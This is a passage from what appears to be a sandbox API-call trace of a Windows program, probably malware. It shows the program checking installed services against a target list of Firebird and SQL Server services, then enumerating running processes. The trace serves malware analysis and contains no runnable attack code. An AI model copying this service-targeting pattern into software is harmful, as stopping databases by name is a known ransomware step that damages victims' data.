returned 8 [0166.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0166.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0166.377] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0166.377] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0166.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0166.377] lstrlenW (lpString="Power") returned 5 [0166.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0166.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0166.377] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0166.377] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0166.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0166.377] lstrlenW (lpString="ProfSvc") returned 7 [0166.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0166.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0166.377] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0166.377] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0166.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0166.377] lstrlenW (lpString="RpcEptMapper") returned 12 [0166.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0166.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0166.377] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0166.377] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0166.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0166.377] lstrlenW (lpString="RpcSs") returned 5 [0166.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0166.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0166.378] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0166.378] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0166.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0166.378] lstrlenW (lpString="SamSs") returned 5 [0166.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0166.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0166.378] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0166.378] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0166.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0166.378] lstrlenW (lpString="Schedule") returned 8 [0166.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0166.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0166.378] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0166.378] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0166.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0166.378] lstrlenW (lpString="SecurityHealthService") returned 21 [0166.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0166.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0166.378] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0166.378] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0166.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0166.378] lstrlenW (lpString="SENS") returned 4 [0166.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0166.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0166.378] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0166.378] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0166.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0166.378] lstrlenW (lpString="ShellHWDetection") returned 16 [0166.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0166.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0166.378] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0166.378] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0166.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0166.379] lstrlenW (lpString="Spooler") returned 7 [0166.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0166.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0166.379] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0166.379] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0166.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0166.379] lstrlenW (lpString="SSDPSRV") returned 7 [0166.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0166.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0166.379] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0166.379] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0166.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0166.379] lstrlenW (lpString="StateRepository") returned 15 [0166.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0166.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0166.379] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0166.383] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0166.383] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43800c8 | out: hHeap=0x790000) returned 1 [0166.383] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x318 [0166.387] Process32FirstW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0166.387] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0166.388] lstrlenW (lpString="System") returned 6 [0166.388] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0166.389] lstrlenW (lpString="smss.exe") returned 8 [0166.389] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0166.389] lstrlenW (lpString="csrss.exe") returned 9 [0166.389] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0166.390] lstrlenW (lpString="wininit.exe") returned 11 [0166.390] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0166.391] lstrlenW (lpString="csrss.exe") returned 9 [0166.391] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0166.391] lstrlenW (lpString="winlogon.exe") returned 12 [0166.392] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0166.392] lstrlenW (lpString="services.exe") returned 12 [0166.392] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0166.393] lstrlenW (lpString="lsass.exe") returned 9 [0166.393] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.394] lstrlenW (lpString="svchost.exe") returned 11 [0166.394] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0166.394] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0166.394] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0166.395] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0166.395] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.396] lstrlenW (lpString="svchost.exe") returned 11 [0166.396] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0166.396] lstrlenW (lpString="dwm.exe") returned 7 [0166.397] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.397] lstrlenW (lpString="svchost.exe") returned 11 [0166.397] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.398] lstrlenW (lpString="svchost.exe") returned 11 [0166.398] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.399] lstrlenW (lpString="svchost.exe") returned 11 [0166.399] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.399] lstrlenW (lpString="svchost.exe") returned 11 [0166.399] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.400] lstrlenW (lpString="svchost.exe") returned 11 [0166.400] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.401] lstrlenW (lpString="svchost.exe") returned 11 [0166.401] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.401] lstrlenW (lpString="svchost.exe") returned 11 [0166.401] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.402] lstrlenW (lpString="svchost.exe") returned 11 [0166.402] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.403] lstrlenW (lpString="svchost.exe") returned 11 [0166.403] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0166.403] lstrlenW (lpString="spoolsv.exe") returned 11 [0166.403] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.404] lstrlenW (lpString="svchost.exe") returned 11 [0166.404] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.405] lstrlenW (lpString="svchost.exe") returned 11 [0166.405] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0166.406] lstrlenW (lpString="audiodg.exe") returned 11 [0166.406] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0166.406] lstrlenW (lpString="sihost.exe") returned 10 [0166.406] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0166.407] lstrlenW (lpString="svchost.exe") returned 11 [0166.407] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0166.408] lstrlenW (lpString="taskhostw.exe") returned 13 [0166.408] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0166.408] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0166.408] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0166.409] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0166.409] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0166.410] lstrlenW (lpString="explorer.exe") returned 12 [0166.410] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0166.413] lstrlenW (lpString="Memory Compression") returned 18 [0166.413] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0166.414] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0166.414] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0166.415] lstrlenW (lpString="SearchUI.exe") returned 12 [0166.415] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0166.415] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0166.415] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0166.416] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0166.416] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0166.417] lstrlenW (lpString="taskhostw.exe") returned 13 [0166.417] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0166.422] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0166.422] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0166.423] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0166.423] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0166.424] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0166.424] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfe0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0166.424] lstrlenW (lpString="conhost.exe") returned 11 [0166.424] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver.exe")) returned 1 [0166.425] lstrlenW (lpString="screensaver.exe") returned 15 [0166.425] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upperarc.exe")) returned 1 [0166.426] lstrlenW (lpString="upperarc.exe") returned 12 [0166.426] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="buying.exe")) returned 1 [0166.426] lstrlenW (lpString="buying.exe") returned 10 [0166.426] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="downloadable.exe")) returned 1 [0166.427] lstrlenW (lpString="downloadable.exe") returned 16 [0166.427] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guests_production_meanwhile.exe")) returned 1 [0166.428] lstrlenW (lpString="guests_production_meanwhile.exe") returned 31 [0166.428] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="deemed-shirts.exe")) returned 1 [0166.429] lstrlenW (lpString="deemed-shirts.exe") returned 17 [0166.429] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mugwritesheroes.exe")) returned 1 [0166.429] lstrlenW (lpString="mugwritesheroes.exe") returned 19 [0166.429] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="swapdamelooked.exe")) returned 1 [0166.430] lstrlenW (lpString="swapdamelooked.exe") returned 18 [0166.430] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="moments.exe")) returned 1 [0166.431] lstrlenW (lpString="moments.exe") returned 11 [0166.431] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="geo-sector-antonio.exe")) returned 1 [0166.431] lstrlenW (lpString="geo-sector-antonio.exe") returned 22 [0166.431] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="stream-test.exe")) returned 1 [0166.432] lstrlenW (lpString="stream-test.exe") returned 15 [0166.432] Process32NextW (in: hSnapshot=0x318, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="crestboatingstuffed.exe")) returned 